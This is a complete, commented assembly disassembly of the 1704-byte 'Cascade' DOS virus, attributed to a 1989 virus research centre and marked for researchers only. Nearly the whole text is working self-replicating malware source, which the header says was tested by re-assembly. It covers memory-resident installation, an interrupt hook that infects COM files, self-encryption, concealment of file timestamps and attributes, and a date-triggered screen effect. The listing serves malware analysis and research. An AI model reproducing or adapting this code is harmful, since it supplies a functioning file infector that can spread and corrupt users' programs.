home *** CD-ROM | disk | FTP | other *** search
- page 65,132
- title The 'Cascade' Virus (1704 version)
- ; ╔══════════════════════════════════════════════════════════════════════════╗
- ; ║ British Computer Virus Research Centre ║
- ; ║ 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England ║
- ; ║ Telephone: Domestic 0273-26105, International +44-273-26105 ║
- ; ║ ║
- ; ║ The 'Cascade' Virus (1704 version) ║
- ; ║ Disassembled by Joe Hirst, March 1989 ║
- ; ║ ║
- ; ║ Copyright (c) Joe Hirst 1989. ║
- ; ║ ║
- ; ║ This listing is only to be made available to virus researchers ║
- ; ║ or software writers on a need-to-know basis. ║
- ; ╚══════════════════════════════════════════════════════════════════════════╝
-
- ; The virus occurs attached to the end of a COM file. The first
- ; three bytes of the program are stored in the virus, and replaced
- ; by a branch to the beginning of the virus.
-
- ; The disassembly has been tested by re-assembly using MASM 5.0.
-
- RAM SEGMENT AT 400H
-
- ; System data
-
- ORG 4EH
- BW044E DW ? ; VDU display start address
-
- ORG 6CH
- BW046C DW ? ; System clock
-
- RAM ENDS
-
- MCB SEGMENT AT 0 ; Memory control block references
-
- MB0000 DB ? ; MCB signature
- MW0001 DW ? ; MCB owner
- MW0003 DW ? ; MCB size
-
- MCB ENDS
-
- OPROG SEGMENT AT 0 ; Original program references
-
- ORG 100H
- OW0100 DW ?
- OB0102 DB ?
-
- OPROG ENDS
-
- CODE SEGMENT BYTE PUBLIC 'CODE'
- ASSUME CS:CODE,DS:OPROG
-
- VIRLEN EQU OFFSET ENDADR-START
- MAXLEN EQU OFFSET START-ENDADR-20H
- JMPADR = OFFSET START-ENDADR-2
-
- ORG 16H
- DW0016 DW ? ; PSP parent ID
-
- ORG 2CH
- DW002C DW ? ; PSP environment
-
- ORG 36H
- DW0036 DW ? ; FHT segment
-
- ORG 100H
-
- START:
-
- DB0100 DB 1 ; Encryption indicator
-
- ; Virus entry point
-
- ENTRY: CLI
- MOV BP,SP ; Save stack pointer
- CALL BP0010 ; \ Get address of BP0010
- BP0010: POP BX ; /
- SUB BX,OFFSET BP0010+2AH ; Standardise relocation reg
- TEST DB0100[BX+2AH],1 ; Is virus encrypted
- JZ BP0030 ; Branch if not
- LEA SI,BP0030[BX+2AH] ; Address start of encrypted area
- MOV SP,OFFSET ENDADR-BP0030 ; Length of encrypted area
- BP0020: XOR [SI],SI ; \ Decrypt
- XOR [SI],SP ; /
- INC SI ; \ Next address
- DEC SP ; /
- JNZ BP0020 ; Repeat for all area
- BP0030: MOV SP,BP ; Restore stack pointer
- JMP BP0040 ; Branch past data
-
- ; Data
-
- PROGRM EQU THIS DWORD
- PRG_OF DW 100H ; Original program offset
- PRG_SGIDW 1021H ; Original program segment
-
- INITAX DW 0 ; Initial AX value
- PROG_1 DW 2DE9H ; \ First three bytes of program
- PROG_2 DB 0DH ; /
- DB 0, 0
-
- I1CBIO EQU THIS DWORD
- I1C_OF DW 0FF53H ; Interrupt 1CH offset
- I1C_SG DW 0F000H ; Interrupt 1CH segment
-
- I21BIO EQU THIS DWORD
- I21_OF DW 1460H ; Interrupt 21H offset
- I21_SG DW 026AH ; Interrupt 21H segment
-
- I28BIO EQU THIS DWORD
- I28_OF DW 1445H ; Interrupt 28H offset
- I28_SG DW 0270H ; Interrupt 28H segment
-
- DW 0 ; - not referenced
- F_ATTR DW 0 ; File attributes
- F_DATE DW 0E71H ; File date
- F_TIME DW 601FH ; File time
- F_PATH EQU THIS DWORD
- PATHOF DW 044EH ; File pathname offset
- PATHSG DW 20FFH ; File pathname segment
- F_SIZ1 DW 62DBH ; File size - low word
- F_SIZ2 DW 0 ; File size - high word
- JUMP_1 DB 0E9H ; \ Jump instruction
- JUMP_2 DW 1D64H ; /
- NUMCOL DB 0 ; Number of display columns
- NUMROW DB 0 ; Number of display rows
- C80_SW DB 0 ; 80 column text switch
- CURCHA DB 0 ; Current character
- CURATT DB 0 ; Current attributes
- SWITCH DB 8 ; Switches
- ; 01 Int 1CH active
- ; 02 Switch 2
- ; 04 Switch 3 - not used
- ; 08 No display
- RAM_SG DW 0 ; Video RAM segment
- VDURAM DW 0 ; VDU display start address
- LOOPCT DW 04F8H ; Timed loop count
- I1CCNT DW 0FDAH ; Int 1CH count
- I1CMAX DW 0FDAH ; Int 1CH random number maximum
- NUMPOS DW 0 ; Number of display positions
- RANPOS DW 1 ; Number of lines to affect
- RANDOM DW 8FB2H, 0AH, 0, 0, 100H, 0, 1414H, 14H
-
- ; Main program start
-
- BP0040: CALL BP0050 ; \ Get address of BP0050
- BP0050: POP BX ; /
- SUB BX,OFFSET BP0050+2AH ; Standardise relocation reg
- MOV PRG_SG[BX+2AH],CS ; Save original program segment
- MOV INITAX[BX+2AH],AX ; Save initial AX value
- MOV AX,PROG_1[BX+2AH] ; Get first 2 bytes of program
- MOV OW0100,AX ; Replace them
- MOV AL,PROG_2[BX+2AH] ; Get third byte of program
- MOV OB0102,AL ; Replace it
- PUSH BX
- MOV AH,30H ; Get DOS version number function
- INT 21H ; DOS service
- POP BX
- CMP AL,2 ; Version 2.X or above?
- JB BP0060 ; Branch if not
- MOV AX,4BFFH ; Is virus active function
- XOR DI,DI ; Clear register
- XOR SI,SI ; Clear register
- INT 21H ; DOS service
- CMP DI,55AAH ; Is virus already active
- JNE BP0070 ; Branch if not
- BP0060: STI
- PUSH DS ; \ Set ES to DS
- POP ES ; /
- MOV AX,INITAX[BX+2AH] ; Restore initial AX value
- JMP PROGRM[BX+2AH] ; Branch to original program
-
- BP0070: PUSH BX
- MOV AX,3521H ; Get interrupt 21H function
- INT 21H ; DOS service
- MOV AX,BX ; Move interrupt 21H offset
- POP BX
- MOV I21_OF[BX+2AH],AX ; Save interrupt 21H offset
- MOV I21_SG[BX+2AH],ES ; Save interrupt 21H segment
- MOV AX,0F000H ; \
- MOV ES,AX ; ) Address BIOS
- MOV DI,0E008H ; /
- CMP WORD PTR ES:[DI],'OC' ; \ Branch if not IBM BIOS
- JNE BP0080 ; /
- CMP WORD PTR ES:[DI+2],'RP' ; \ Branch if not IBM BIOS
- JNE BP0080 ; /
- CMP WORD PTR ES:[DI+4],' .' ; \ Branch if not IBM BIOS
- JNE BP0080 ; /
- CMP WORD PTR ES:[DI+6],'BI' ; \ Branch if not IBM BIOS
- JNE BP0080 ; /
- CMP WORD PTR ES:[DI+8],'M' ; \ IBM BIOS
- JE BP0060 ; /
-
- ; Install virus
-
- ASSUME ES:MCB,DS:NOTHING
- BP0080: MOV AX,007BH ; Load size of virus in paragraphs
- MOV BP,CS ; Get current segment
- DEC BP ; \ Address back to MCB
- MOV ES,BP ; /
- MOV SI,DW0016 ; Get parent ID
- MOV MW0001,SI ; Store as owner in MCB
- MOV DX,MW0003 ; Get MCB size
- MOV MW0003,AX ; Store virus size
- MOV MB0000,4DH ; Store MCB identification
- SUB DX,AX ; Subtract virus from original size
- DEC DX ;
- INC BP ; Forward from MCB
- ADD BP,AX ; Add size of virus
- INC BP ; And of another MCB
- MOV ES,BP ; Address new PSP segment
- PUSH BX
- MOV AH,50H ; Set current PSP function
- MOV BX,BP ; New PSP segment
- INT 21H ; DOS service
- POP BX
- XOR DI,DI ; Clear register
- PUSH ES ; \ Set stack segment to new PSP
- POP SS ; /
- PUSH DI
- LEA DI,CPY040[BX+2AH] ; Address end of virus
- MOV SI,DI ; And for source
- MOV CX,VIRLEN ; Get length of virus
- STD ; Going downwards
- REPZ MOVSB ; Copy virus
- PUSH ES ; Push new segment
- LEA CX,BP0090[BX+2AH] ; \ And next instruction
- PUSH CX ; /
- RETF ; ... and load them
-
- ; Now running in virus at end of new program segment
-
- BP0090: MOV PRG_SG[BX+2AH],CS ; New segment in program address
- LEA CX,DB0100[BX+2AH] ; Get length of original program
- REPZ MOVSB ; Copy original program to new PSP
- MOV DW0036,CS ; New segment in handle table address
- DEC BP ; \ Address back to MCB
- MOV ES,BP ; /
- MOV MW0003,DX ; Store original program size
- MOV MB0000,5AH ; Store MCB ident (last)
- MOV MW0001,CS ; Store CS as owner in MCB
- INC BP ; \ Forward again to PSP
- MOV ES,BP ; /
- PUSH DS ; \ Set ES to DS
- POP ES ; /
- PUSH CS ; \ Set DS to CS
- POP DS ; /
- LEA SI,DB0100[BX+2AH] ; Address start of virus
- MOV DI,OFFSET DB0100 ; Start of program area in first area
- MOV CX,VIRLEN ; Get length of virus
- CLD ; Copy forwards
- REPZ MOVSB ; Copy virus to start of first area
- PUSH ES ; Push segment of first area
- LEA AX,BP0100 ; \ Offset of next instruction
- PUSH AX ; /
- RETF ; ... and load them
-
- ; Now running in installed virus, first area
-
- ASSUME ES:NOTHING
- BP0100: MOV DW002C,0 ; No environment pointer
- MOV DW0016,CS ; Is its own parent
- PUSH DS
- LEA DX,INT_21 ; Interrupt 21H routine
- PUSH CS ; \ Set DS to CS
- POP DS ; /
- MOV AX,2521H ; Set interrupt 21H function
- INT 21H ; DOS service
- POP DS
- MOV AH,1AH ; Set DTA function
- MOV DX,0080H ; DTA address
- INT 21H ; DOS service
- CALL GETCLK ; Copy system clock
- MOV AH,2AH ; Get date function
- INT 21H ; DOS service
- CMP CX,07C4H ; Year 1988?
- JA BP0130 ; Branch if after 1988
- JE BP0110 ; Branch if 1988
- CMP CX,07BCH ; Year 1980?
- JNE BP0130 ; Branch if not
- PUSH DS
- MOV AX,3528H ; Get interrupt 28H function
- INT 21H ; DOS service
- MOV I28_OF,BX ; Save interrupt 28H offset
- MOV I28_SG,ES ; Save interrupt 28H segment
- MOV AX,2528H ; Set interrupt 28H function
- MOV DX,OFFSET INT_28 ; Int 28H routine address
- PUSH CS ; \ Set DS to CS
- POP DS ; /
- INT 21H ; DOS service
- POP DS
- OR SWITCH,8 ; Set on No display switch
- JMP BP0120
-
- ; Year is 1988
-
- BP0110: CMP DH,0AH ; October?
- JB BP0130 ; Branch if not
- BP0120: CALL TIMCYC ; Time one clock cycle
- MOV AX,1518H ; Upper limit - 5400
- CALL RNDNUM ; Create random number
- INC AX ; Add to random number
- MOV I1CCNT,AX ; Set Int 1CH count
- MOV I1CMAX,AX ; Set Int 1CH random no maximum
- MOV RANPOS,1 ; Set num of lines to affect to 1
- MOV AX,351CH ; Get interrupt 1CH function
- INT 21H ; DOS service
- MOV I1C_OF,BX ; Save interrupt 1CH offset
- MOV I1C_SG,ES ; Save interrupt 1CH segment
- PUSH DS
- MOV AX,251CH ; Set interrupt 1CH function
- MOV DX,OFFSET INT_1C ; Int 1CH routine address
- PUSH CS ; \ Set DS to CS
- POP DS ; /
- INT 21H ; DOS service
- POP DS
- BP0130: MOV BX,-2AH ; Set up relocation register
- JMP BP0060 ; Branch to start program
-
- ; Interrupt 21H routine
-
- INT_21: CMP AH,4BH ; Load function?
- JE I_2106 ; Branch if yes
- I_2102: JMP I21BIO ; Branch to original int 21H
-
- ; Virus call
-
- I_2104: MOV DI,55AAH ; Virus call - signal back
- LES AX,I21BIO ; Load return address
- MOV DX,CS ; Load segment
- IRET
-
- ; Load and execute function
-
- I_2106: CMP AL,0FFH ; Is this a virus call?
- JE I_2104 ; Branch if yes
- CMP AL,0 ; Load and execute?
- JNE I_2102 ; Branch if not
- PUSHF
- PUSH AX
- PUSH BX
- PUSH CX
- PUSH DX
- PUSH SI
- PUSH DI
- PUSH BP
- PUSH ES
- PUSH DS
- MOV PATHOF,DX ; Save pathname offset
- MOV PATHSG,DS ; Save pathname segment
- PUSH CS ; \ Set ES to CS
- POP ES ; /
- MOV AX,3D00H ; Open handle function
- INT 21H ; DOS service
- JB I_2110 ; Branch if error
- MOV BX,AX ; Move file handle
- MOV AX,5700H ; Get file date and time function
- INT 21H ; DOS service
- MOV F_DATE,DX ; Save file date
- MOV F_TIME,CX ; Save file time
- MOV AH,3FH ; Read handle function
- PUSH CS ; \ Set DS to CS
- POP DS ; /
- MOV DX,OFFSET PROG_1 ; \ First three bytes of program
- MOV CX,3 ; /
- INT 21H ; DOS service
- JB I_2110 ; Branch if error
- CMP AX,CX ; Correct length read?
- JNE I_2110 ; Branch if error
- MOV AX,4202H ; Move file pointer (EOF) function
- XOR CX,CX ; \ No displacement
- XOR DX,DX ; /
- INT 21H ; DOS service
- MOV F_SIZ1,AX ; File size - low word
- MOV F_SIZ2,DX ; File size - high word
- MOV AH,3EH ; Close handle function
- INT 21H ; DOS service
- CMP PROG_1,5A4DH ; Is it an EXE file?
- JNE I_2108 ; Branch if not
- JMP I_2124 ; Dont infect
-
- I_2108: CMP F_SIZ2,0 ; File size - high word
- JA I_2110 ; Branch if file too big
- CMP F_SIZ1,MAXLEN ; Maximum file size?
- JBE I_2112 ; Branch if file not too big
- I_2110: JMP I_2124 ; Dont infect
-
- I_2112: CMP BYTE PTR PROG_1,0E9H ; Does program start with a branch
- JNE I_2114 ; Branch if not
- MOV AX,F_SIZ1 ; Get file size - low word
- ADD AX,WORD PTR JMPADR ; Convert to infected offset
- CMP AX,PROG_1+1 ; Is it the same
- JE I_2110 ; Branch if already infected
- I_2114: MOV AX,4300H ; Get file attributes function
- LDS DX,F_PATH ; Pathname pointer
- INT 21H ; DOS service
- JB I_2110 ; Branch if error
- MOV F_ATTR,CX ; Save file attributes
- XOR CL,20H ; Change archive bit
- TEST CL,27H ; Are there any attributes to change
- JZ I_2116 ; Branch if not
- MOV AX,4301H ; Set file attributes function
- XOR CX,CX ; No attributes
- INT 21H ; DOS service
- JB I_2110 ; Branch if error
- I_2116: MOV AX,3D02H ; Open handle (R/W) function
- INT 21H ; DOS service
- JB I_2110 ; Branch if error
- MOV BX,AX ; Move file handle
- MOV AX,4202H ; Move file pointer (EOF) function
- XOR CX,CX ; \ No displacement
- XOR DX,DX ; /
- INT 21H ; DOS service
- CALL CPYVIR ; Copy virus to program
- JNB I_2118 ; Branch if no error
- MOV AX,4200H ; Move file pointer (Start) function
- MOV CX,F_SIZ2 ; File size - high word
- MOV DX,F_SIZ1 ; File size - low word
- INT 21H ; DOS service
- MOV AH,40H ; Write handle function
- XOR CX,CX ; Zero length (reset length}
- INT 21H ; DOS service
- JMP I_2120 ; Reset file details
-
- I_2118: MOV AX,4200H ; Move file pointer (Start) function
- XOR CX,CX ; \ No displacement
- XOR DX,DX ; /
- INT 21H ; DOS service
- JB I_2120 ; Branch if error
- MOV AX,F_SIZ1 ; Get file size - low word
- ADD AX,0FFFEH ; Convert to jump offset
- MOV JUMP_2,AX ; Store in jump instruction
- MOV AH,40H ; Write handle function
- MOV DX,OFFSET JUMP_1 ; Address to jump instruction
- MOV CX,3 ; Length of jump instruction
- INT 21H ; DOS service
- I_2120: MOV AX,5701H ; Set file date and time function
- MOV DX,F_DATE ; Get old file date
- MOV CX,F_TIME ; Get old file time
- INT 21H ; DOS service
- MOV AH,3EH ; Close handle function
- INT 21H ; DOS service
- MOV CX,F_ATTR ; Get old file attributes
- TEST CL,7 ; System, read only or hidden?
- JNZ I_2122 ; Branch if yes
- TEST CL,20H ; Archive?
- JNZ I_2124 ; Branch if yes
- I_2122: MOV AX,4301H ; Set file attributes function
- LDS DX,F_PATH ; Pathname pointer
- INT 21H ; DOS service
- I_2124: POP DS
- POP ES
- POP BP
- POP DI
- POP SI
- POP DX
- POP CX
- POP BX
- POP AX
- POPF
- JMP I_2102 ; Original interrupt 21H
-
- ; Create random number
-
- RNDNUM: PUSH DS
- PUSH CS ; \ Set DS to CS
- POP DS ; /
- PUSH BX
- PUSH CX
- PUSH DX
- PUSH AX ; Save multiplier
- MOV CX,7 ; Seven words to move
- MOV BX,OFFSET RANDOM+14 ; Last word of randomiser
- PUSH [BX] ; Save last word
- RND010: MOV AX,[BX-2] ; Get previous word
- ADC [BX],AX ; Add to current word
- DEC BX ; \ Address previous word
- DEC BX ; /
- LOOP RND010 ; Repeat for each word
- POP AX ; Retrieve last word
- ADC [BX],AX ; Add to first word
- MOV DX,[BX] ; Get result
- POP AX ; Recover multiplier
- OR AX,AX ; Is there a multiplier?
- JZ RND020 ; Branch if not
- MUL DX ; Multiply random number
- RND020: MOV AX,DX ; Move result
- POP DX
- POP CX
- POP BX
- POP DS
- RET
-
- ; Copy system clock
-
- GETCLK: PUSH DS
- PUSH ES
- PUSH SI
- PUSH DI
- PUSH CX
- PUSH CS ; \ Set ES to CS
- POP ES ; /
- MOV CX,0040H ; \ Set DS to system RAM
- MOV DS,CX ; /
- MOV DI,OFFSET RANDOM ; Randomizer work area
- MOV SI,006CH ; Address system clock
- MOV CX,8 ; Eight bytes to copy
- CLD
- REPZ MOVSW ; Copy system clock
- POP CX
- POP DI
- POP SI
- POP ES
- POP DS
- RET
-
- ; Get character and attributes
-
- ASSUME DS:CODE
- GETCHA: PUSH SI
- PUSH DS
- PUSH DX
- MOV AL,DH ; Get row number
- MUL NUMCOL ; Number of visible columns
- MOV DH,0 ; Clear top of register
- ADD AX,DX ; Add column number
- SHL AX,1 ; Multiply by two
- ADD AX,VDURAM ; Add VDU display start address
- MOV SI,AX ; Move character pointer
- TEST C80_SW,0FFH ; Test 80 column text switch
- MOV DS,RAM_SG ; Video RAM segment
- JZ GTC030 ; Branch if switch off
- MOV DX,03DAH ; VDU status register
- CLI
- GTC010: IN AL,DX ; Get VDU status
- TEST AL,8 ; Is it frame flyback time
- JNZ GTC030 ; Branch if yes
- TEST AL,1 ; Test toggle bit
- JNZ GTC010 ; Branch if on
- GTC020: IN AL,DX ; Get VDU status
- TEST AL,1 ; Test toggle bit
- JZ GTC020 ; Branch if off
- GTC030: LODSW ; Load character and attribute
- STI
- POP DX
- POP DS
- POP SI
- RET
-
- ; Store character and attributes
-
- STOCHA: PUSH DI
- PUSH ES
- PUSH DX
- PUSH BX
- MOV BX,AX
- MOV AL,DH ; Get row number
- MUL NUMCOL ; Number of visible columns
- MOV DH,0 ; Clear top of register
- ADD AX,DX ; Add column number
- SHL AX,1 ; Multiply by two
- ADD AX,VDURAM ; Add VDU display start address
- MOV DI,AX ; Move character pointer
- TEST C80_SW,0FFH ; Test 80 column text switch
- MOV ES,RAM_SG ; Video RAM segment
- JZ STO030 ; Branch if switch off
- MOV DX,03DAH ; VDU status register
- CLI
- STO010: IN AL,DX ; Get VDU status
- TEST AL,8 ; Is it frame flyback time
- JNZ STO030 ; Branch if yes
- TEST AL,1 ; Test toggle bit
- JNZ STO010 ; Branch if on
- STO020: IN AL,DX ; Get VDU status
- TEST AL,1 ; Test toggle bit
- JZ STO020 ; Branch if off
- STO030: MOV AX,BX
- STOSB ; Store character and attribute
- STI
- POP BX
- POP DX
- POP ES
- POP DI
- RET
-
- ; Delay loop
-
- DELAY: PUSH CX
- DEL010: PUSH CX
- MOV CX,LOOPCT ; Get timed loop count
- DEL020: LOOP DEL020
- POP CX
- LOOP DEL010
- POP CX
- RET
-
- ; Toggle speaker drive
-
- CH_SND: PUSH AX
- IN AL,61H ; Get port B
- XOR AL,2 ; Toggle speaker drive
- AND AL,0FEH ; Switch off speaker modulate
- OUT 61H,AL ; Rewrite port B
- POP AX
- RET
-
- ; Is character 0, 32 or 255?
-
- IGNORE: CMP AL,0 ; Is it a zero?
- JE IGN010 ; Branch if yes
- CMP AL,20H ; Is it a space?
- JE IGN010 ; Branch if yes
- CMP AL,0FFH ; Is it FF?
- JE IGN010 ; Branch if yes
- CLC
- RET
-
- IGN010: STC
- RET
-
- ; Graphic display character
-
- GRAPHD: CMP AL,0B0H ; Is it below 176?
- JB GRA010 ; Branch if yes
- CMP AL,0DFH ; Is it above 223?
- JA GRA010 ; Branch if yes
- STC
- RET
-
- GRA010: CLC
- RET
-
- ; Time one clock cycle
-
- TIMCYC: PUSH DS
- MOV AX,0040H ; \ Set DS to system RAM
- MOV DS,AX ; /
- STI
- ASSUME DS:RAM
- MOV AX,BW046C ; Get low word of system clock
- TIM010: CMP AX,BW046C ; Has clock changed?
- JE TIM010 ; Branch if not
- XOR CX,CX ; Clear register
- MOV AX,BW046C ; Get low word of system clock
- TIM020: INC CX ; Increment count
- JZ TIM040 ; Branch if now zero
- CMP AX,BW046C ; Has clock changed?
- JE TIM020 ; Branch if not
- TIM030: POP DS
- ASSUME DS:NOTHING
- MOV AX,CX ; Transfer count
- XOR DX,DX ; Clear register
- MOV CX,000FH ; \ Divide by 15
- DIV CX ; /
- MOV LOOPCT,AX ; Save timed loop count
- RET
-
- TIM040: DEC CX ; Set to minus one
- JMP SHORT TIM030
-
- ; Cascade display routine
-
- ASSUME DS:CODE
- DISPLY: MOV NUMROW,18H ; Number of display rows
- PUSH DS
- MOV AX,0040H ; \ Set DS to system RAM
- MOV DS,AX ; /
- ASSUME DS:RAM
- MOV AX,BW044E ; VDU display start address
- POP DS
- ASSUME DS:CODE
- MOV VDURAM,AX ; Save VDU display start address
- MOV DL,0FFH
- MOV AX,1130H ; Get character generator information
- MOV BH,0 ; Int 1FH vector
- PUSH ES
- PUSH BP
- INT 10H ; VDU I/O
- POP BP
- POP ES
- CMP DL,0FFH ; Is register unchanged?
- JE DSP010 ; Branch if yes
- MOV NUMROW,DL ; Number of display rows (EGA)
- DSP010: MOV AH,0FH ; Get VDU parameters
- INT 10H ; VDU I/O
- MOV NUMCOL,AH ; Save number of columns
- MOV C80_SW,0 ; Set off 80 column text switch
- MOV RAM_SG,0B000H ; Video RAM segment - Mono
- CMP AL,7 ; Mode 7?
- JE DSP040 ; Branch if yes
- JB DSP020 ; Branch if less
- JMP DSP130 ; Switch off speaker and return
-
- DSP020: MOV RAM_SG,0B800H ; Video RAM segment
- CMP AL,3 ; Display mode 3?
- JA DSP040 ; Branch if above
- CMP AL,2 ; Display mode 2?
- JB DSP040 ; Branch if below
- MOV C80_SW,1 ; Set on 80 column text switch
- MOV AL,NUMROW ; Number of display rows
- INC AL ; Number, not offset
- MUL NUMCOL ; Number of visible columns
- MOV NUMPOS,AX ; Save number of display positions
- MOV AX,RANPOS ; Get number of lines to affect
- CMP AX,NUMPOS ; Number of display positions
- JBE DSP030 ; Branch if within range
- MOV AX,NUMPOS ; Get number of display positions
- DSP030: CALL RNDNUM ; Create random number
- INC AX ; Add to random number
- MOV SI,AX ; Use as count
- DSP040: XOR DI,DI ; Set second count to zero
- DSP050: INC DI ; Increment second count
- MOV AX,NUMPOS ; Get number of display positions
- SHL AX,1 ; Multiply by two
- CMP DI,AX ; Has second count reached this?
- JBE DSP060 ; Branch if not
- JMP DSP130 ; Switch off speaker and return
-
- DSP060: OR SWITCH,2 ; Set on switch 2
- MOV AL,NUMCOL ; \ Number of visible columns
- MOV AH,0 ; / is upper limit
- CALL RNDNUM ; Create random number
- MOV DL,AL ; Random column number
- MOV AL,NUMROW ; \ Number of display rows
- MOV AH,0 ; / is upper limit
- CALL RNDNUM ; Create random number
- MOV DH,AL ; Random row number
- CALL GETCHA ; Get character and attributes
- CALL IGNORE ; Is character 0, 32 or 255?
- JB DSP050 ; Branch if yes
- CALL GRAPHD ; Is it a graphic display character
- JB DSP050 ; Branch if yes
- MOV CURCHA,AL ; Save current character
- MOV CURATT,AH ; Save current attributes
- MOV CL,NUMROW ; Number of display rows
- MOV CH,0 ; Column zero
- DSP070: INC DH ; Next row
- CMP DH,NUMROW ; Was that the last row?
- JA DSP110 ; Branch if yes
- CALL GETCHA ; Get character and attributes
- CMP AH,CURATT ; Are attributes the same?
- JNE DSP110 ; Branch if not
- CALL IGNORE ; Is character 0, 32 or 255?
- JB DSP090 ; Branch if yes
- DSP080: CALL GRAPHD ; Is it a graphic display character
- JB DSP110 ; Branch if yes
- INC DH ; Next row
- CMP DH,NUMROW ; Was that the last row?
- JA DSP110 ; Branch if yes
- CALL GETCHA ; Get character and attributes
- CMP AH,CURATT ; Are attributes the same?
- JNE DSP110 ; Branch if not
- CALL IGNORE ; Is character 0, 32 or 255?
- JNB DSP080 ; Branch if not
- CALL CH_SND ; Toggle speaker drive
- DEC DH ; Previous row
- CALL GETCHA ; Get character and attributes
- MOV CURCHA,AL ; Save current character
- INC DH ; Next row
- DSP090: AND SWITCH,0FDH ; Set off switch 2
- DEC DH ; Previous row
- MOV AL,20H ; Replace character with space
- CALL STOCHA ; Store character and attributes
- INC DH ; Next row
- MOV AL,CURCHA ; Get current character
- CALL STOCHA ; Store character and attributes
- JCXZ DSP100 ; Branch if end of count
- CALL DELAY ; Delay loop
- DEC CX ; Decrement count
- DSP100: JMP SHORT DSP070
-
- DSP110: TEST SWITCH,2 ; Test switch 2
- JZ DSP120 ; Branch if off
- JMP DSP050
-
- DSP120: CALL CH_SND ; Toggle speaker drive
- DEC SI ; Subtract from count
- JZ DSP130 ; Switch off speaker and return
- JMP DSP040
-
- ; Switch off speaker and return
-
- DSP130: IN AL,61H ; Get port B
- AND AL,0FCH ; Switch off speaker
- OUT 61H,AL ; Rewrite port B+
- RET
-
- ; Interrupt 1CH routine
-
- ASSUME DS:NOTHING
- INT_1C: TEST SWITCH,9 ; No display or already active?
- JNZ I_1C40 ; Branch if either are on
- OR SWITCH,1 ; Set on Int 1CH active switch
- DEC I1CCNT ; Subtract from Int 1CH count
- JNZ I_1C30 ; Branch if not zero
- PUSH DS
- PUSH ES
- PUSH CS ; \ Set DS to CS
- POP DS ; /
- PUSH CS ; \ Set ES to CS
- POP ES ; /
- ASSUME DS:CODE
- PUSH AX
- PUSH BX
- PUSH CX
- PUSH DX
- PUSH SI
- PUSH DI
- PUSH BP
- MOV AL,20H ; \ Signal end of interrupt
- OUT 20H,AL ; /
- MOV AX,I1CMAX ; Get Int 1CH random no maximum
- CMP AX,0438H ; Is it 1080 or above
- JNB I_1C10 ; Branch if yes
- MOV AX,0438H ; Upper limit - 1080
- I_1C10: CALL RNDNUM ; Create random number
- INC AX ; Add to random number
- MOV I1CCNT,AX ; Reset Int 1CH count
- MOV I1CMAX,AX ; Reset Int 1CH random no maximum
- CALL DISPLY ; Cascade display routine
- MOV AX,3 ; Upper limit - 3
- CALL RNDNUM ; Create random number
- INC AX ; Add to random number
- MUL RANPOS ; Multiply by num of lines to affect
- JNB I_1C20 ; Is result more than a word?
- MOV AX,-1 ; Set to maximum
- I_1C20: MOV RANPOS,AX ; Save number of lines to affect
- POP BP
- POP DI
- POP SI
- POP DX
- POP CX
- POP BX
- POP AX
- POP ES
- POP DS
- ASSUME DS:NOTHING
- I_1C30: AND SWITCH,0FEH ; Set off Int 1CH active switch
- I_1C40: JMP I1CBIO ; Branch to original int 1CH
-
- ; Interrupt 28H routine
-
- INT_28: TEST SWITCH,8 ; Test No display switch
- JZ I_2830 ; Branch if not
- PUSH AX
- PUSH CX
- PUSH DX
- MOV AH,2AH ; Get date function
- INT 21H ; DOS service
- CMP CX,07C4H ; Year 1988?
- JB I_2820 ; Not yet - do nothing
- JA I_2810 ; After 1988
- CMP DH,0AH ; October?
- JB I_2820 ; Not yet - do nothing
- I_2810: AND SWITCH,0F7H ; Set off No display switch
- I_2820: POP DX
- POP CX
- POP AX
- I_2830: JMP I28BIO ; Branch to original int 28H
-
- ; Copy virus to program
-
- CPYVIR: PUSH ES
- PUSH BX
- MOV AH,48H ; Allocate memory function
- MOV BX,006BH ; Length of virus
- INT 21H ; DOS service
- POP BX
- JNB CPY020 ; Branch if no error
- CPY010: STC
- POP ES
- RET
-
- CPY020: MOV DB0100,1 ; Set encryption indicator
- MOV ES,AX ; Set target segment to allocated
- PUSH CS ; \ Set DS to CS
- POP DS ; /
- ASSUME DS:CODE
- XOR DI,DI ; Start of allocated
- MOV SI,OFFSET DB0100 ; Start of virus
- MOV CX,VIRLEN ; Length of virus
- CLD
- REPZ MOVSB ; Copy virus
- MOV DI,0023H ; Start of area to encrypt
- MOV SI,OFFSET BP0030 ; Address of area
- ADD SI,F_SIZ1 ; Length of target file
- MOV CX,OFFSET ENDADR-BP0030 ; Length to encrypt
- CPY030: XOR ES:[DI],SI ; \ Encrypt
- XOR ES:[DI],CX ; /
- INC DI ; \ Next address
- INC SI ; /
- LOOP CPY030 ; Repeat for all area
- MOV DS,AX ; Allocated area segment
- MOV AH,40H ; Write handle function
- XOR DX,DX ; From start
- MOV CX,VIRLEN ; Length of virus
- INT 21H ; DOS service
- PUSHF
- PUSH AX
- MOV AH,49H ; Free allocated memory function
- INT 21H ; DOS service
- POP AX
- POPF
- PUSH CS ; \ Set DS to CS
- POP DS ; /
- JB CPY010 ; Branch if error
- CMP AX,CX ; Correct length written?
- JNE CPY010 ; Branch if error
- POP ES
- CLC
- CPY040: RET
-
- ENDADR EQU $
-
- CODE ENDS
-
- END START